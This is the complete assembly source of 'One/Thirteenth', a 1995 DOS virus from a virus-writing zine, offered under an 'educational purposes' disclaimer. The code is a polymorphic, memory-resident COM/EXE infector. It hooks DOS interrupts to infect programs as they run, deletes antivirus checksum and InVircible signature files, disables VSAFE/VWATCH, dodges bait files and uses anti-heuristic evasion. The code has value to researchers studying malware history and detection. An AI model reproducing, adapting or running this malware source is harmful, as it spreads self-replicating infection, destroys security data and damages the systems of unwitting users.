; ; |- Source of Kaos -| ; |- Issue #2 -| ; ; Disclaimer: ; This source code is provided educational purposes. SOK takes no ; responsiblity for how this source code is used. ; ; ; ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�-� ; One/Thirteenth {v0.4} - coded by �irogen [NuKE] on 02-23-95 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�-� ; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector ; -Deletes Invircible Signature Files from disk no matter what name ; they are under. ; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS. ; -Avoids Infecting InVircible Bait Files ; -Disables VSAFE/VWATCH if in memory ; -Avoids new format EXEs ; -Installs it's own INT 24h ; -EXE Id is: Checksum Not 0 ; -COM Id is: Fourth byte 0 ; -Resident Check: VSAFE/VWATCH API , ret:SI=0 ; ; Polymorphism: �iCE v0.4� /w JMPS ON & ANTI-TBSCAN CODE ON ; ; ; cseg segment assume cs: cseg, ds: cseg, es: cseg, ss: cseg signal equ 0FA01h ; AX=signal/INT 21h/installation chk vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API buf_size equ 250 vice_size equ 2009+buf_size virus_size equ (offset vend-offset start)+VICE_SIZE extrn _vice: near org 0h start: ; int 3 ; Original Line of code xor ax,ax ; Replaced with this line of code ; and poof this virus looses it's ; identity call nx ; get relative offset nx: mov si,sp ; no-heuristic sub word ptr ss: [si],offset nx mov bp,word ptr ss: [si] add sp,2 push ds es ; save segments for EXE inc si mov ax,1000 add ax,signal-1000 ; no heuristics m0n mov dx,vsafe_word int 21h or si,si jz no_install ; if carry then we are mov ax,ds ; PSP segment dec ax ; mcb below PSP m0n mov ds,ax ; DS=MCB seg mov al,'Z' ; no heuristics cmp byte ptr ds: [0],al ; Is this the last MCB in chain? jnz no_install sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP mov es,word ptr ds: [12h] ; get high mem seg push cs pop ds mov si,bp mov cx,virus_size/2+1 xor di,di rep movsw ; copy code to new seg xor ax,ax mov ds,ax ; null ds push ds lds ax,ds: [21h*4] ; get 21h vector mov es: word ptr old21+2,ds ; save S:O mov es: word ptr old21,ax pop ds mov ds: [21h*4+2],es ; new int 21h seg mov ds: [21h*4],offset new21 ; new offset sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem no_install: pop es ds ; restore ES DS xor ax,ax ; null regs xor bx,bx xor dx,dx cmp cs: is_exe[bp],1 jz exe_return lea si,org_bytes[bp] ; com return mov di,0100h ; -restore first 4 bytes mov cx,2 rep movsw mov cx,100h ; jump back to 100h push cx _ret: ret exe_return: mov cx,ds ; calc. real CS add cx,10h add word ptr cs: [exe_jump+2+bp],cx int 3 ; fix prefetch db 0eah exe_jump dd 0 is_exe db 0 ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; Main Infection Routine ; infect_file: push dx pop si push ds xor ax,ax ; null ES mov es,ax lds ax,es: [24h*4] ; get INT 24h vector mov cs: old_24_off,ax ; save it mov cs: old_24_seg,ds mov es: [24h*4+2],cs ; install our handler mov es: [24h*4],offset new_24 pop ds push es ; we'll need it later push cs pop es mov ax,4300h ; get phile attribute int 21h mov ax,4301h ; null attribs push ax cx ; save AX-call/CX-attrib xor cx,cx int 21h mov ax,3d02h ; open the file int 21h jc dont_do mov bx,ax ; get handle push cs pop ds mov ah,3fh ; Read first bytes of file mov cx,20h lea dx,org_bytes int 21h call kill_anti_virus ; kill validation filez cmp byte ptr org_bytes,'M' jz do_exe cmp byte ptr org_bytes,90h ; InVircible bait? jz close cmp byte ptr org_bytes+3,0 jz close mov is_exe,0 mov ax,5700h ; get time/date int 21h push cx dx call offset_end push ax ; AX=end of file lea si,start ; DS:SI=start of code to encrypt mov di,virus_size ; ES:DI=address for decryptor/ push di ; encrypted code. (at heap) mov cx,virus_size ; CX=virus size mov dx,ax ; DX=EOF offset add dx,100h ; DX=offset decryptor will run from mov al,00001111b ; jmps,anti-tbscan, garbage, no CS: call _vice ; call engine! pop dx mov ah,40h int 21h call offset_zero pop ax ; restore COM file size sub ax,3 ; calculate jmp offset mov word ptr new_jmp+1,ax lea dx,new_jmp mov cx,4 mov ah,40h int 21h pop dx cx ; pop date/time mov ax,5701h ; restore the mother fuckers int 21h close: pop cx ax ; restore attrib int 21h mov ah,3eh int 21h dont_do: pop es ; ES=0 lds ax,dword ptr old_24_off ; restore shitty DOS error handler mov es: [24h*4],ax mov es: [24h*4+2],ds ret do_exe: cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0? jnz close cmp byte ptr exe_header[18h],52h ; pklite'd? jz exe_ok cmp byte ptr exe_header[18h],40h ; don't infect new format exe jge close exe_ok: push bx mov ah,2ch ; grab a random number int 21h mov word ptr exe_header[12h],dx ; mark that it's us mov is_exe,1 les ax,dword ptr exe_header+14h ; Save old entry point mov word ptr ds: exe_jump, ax mov word ptr ds: exe_jump+2, es push cs pop es call offset_end push dx ax ; save file size DX:AX mov bx, word ptr exe_header+8h ; calc. new entry point mov cl,4 ; *16 shl bx,cl ; ^by shifting one byte sub ax,bx ; get actual file size-header sbb dx,0 mov cx,10h ; divide AX/CX rDX div cx mov word ptr exe_header+14h,dx mov word ptr exe_header+16h,ax mov rel_off,dx pop ax ; AX:DX file size pop dx pop bx mov cx,virus_size+10h ; calc. new size adc ax,cx mov cl,9 ; calc new alloc (512) push ax shr ax,cl ror dx,cl stc adc dx,ax pop ax ; ax=size+virus and ah,1 mov word ptr exe_header+4h,dx mov word ptr exe_header+2h,ax lea si,start ; DS:SI=start of code to encrypt mov di,virus_size ; ES:DI=address for decryptor and push di ; encrypted code (at heap) mov cx,virus_size ; CX=virus size mov dx,rel_off ; DX=offset decryptor will run from mov al,00001110b ; jmps,anti-tbscan,garbage, use CS: call _vice ; call engine! pop dx mov ah,40h int 21h call offset_zero mov cx,18h ; write fiXed header lea dx,exe_header mov ah,40h int 21h jmp close ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; set file ptr offset_zero: ; self explanitory xor al,al jmp set_fp offset_end: mov al,02h set_fp: mov ah,42h xor cx,cx xor dx,dx int 21h ret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files ; kill_anti_virus: push bx mov ah,1ah ; set DTA lea dx,ff_info int 21h mov cx,16h ; include all attribs lea dx,inv_spec mov ah,4eh int 21h ; findfirst jnc inv_loop jmp inv_done inv_loop: lea si,f_name push si mov dx,si cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT? jz is_anti cmp word ptr [si+8],'SM' ; CHKLIST.MS? jz is_anti cmp word ptr [si+8],'PC' ; CHKLIST.CPS? jz is_anti cmp f_sizeh,0 ; high word set? jnz findnext cmp f_sizel,10000 ; > 10000 bytes? jg findnext mov ax,3d00h int 21h jc findnext xchg ax,bx mov ah,3fh mov cl,2 lea dx,inv_word int 21h mov ah,3eh int 21h mov ax,word ptr inv_word mov cl,4 lea si,false_struct test_false: ; test for false positives cmp ax,[si] jz findnext inc si inc si loop test_false xor al,ah ; xor first byte by second lea si,iv_struct mov cl,6 test_iv: ; test if invircible cmp al,[si] jz is_anti inc si loop test_iv jmp findnext is_anti: mov ax,4301h ; reset attribs xor cx,cx int 21h mov ah,41h lea dx,f_name int 21h findnext: mov al,0 ; null out filename pop di ; di-> fname mov cl,13 rep stosb mov ah,4fh int 21h jc inv_done jmp inv_loop inv_done: pop bx ret inv_word dw 0 inv_spec db '*.*',0 iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives false_struct dw 'ZM' ; EXE Header dw 'KP' ; PKZIP archive dw 0EA60h ; ARJ archive dw 'ER' ; REM in batch files ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; new 21h new21: pushf cmp ax,signal ; be it us? jnz nchk ; richtig.. cmp dx,vsafe_word jnz nchk xor si,si mov di,4559h jmp jmp_org nchk: cmp ax,4b00h ; execute phile? jnz jmp_org push ax bx cx di dx si ds es call infect_file pop es ds si dx di cx bx ax jmp_org: popf db 0eah ; jump far XXXX:XXXX old21 dd 0 new_24: ; critical error handler mov al,3 ; prompts suck, return fail iret credits db 'One/Thirteenth, coded by �irogen [NuKE]' new_jmp db 0E9h,0,0,0 ; jmp XXXX,0 rel_off dw 0 exe_header: org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr vend: ; end of virus on disk .. heap db 16h dup(0) ; remaining exe header space old_24_off dw 0 ; old int24h vector old_24_seg dw 0 ff_info db 26 dup(0) f_sizel dw 0 f_sizeh dw 0 f_name db 13 dup(0) cseg ends end start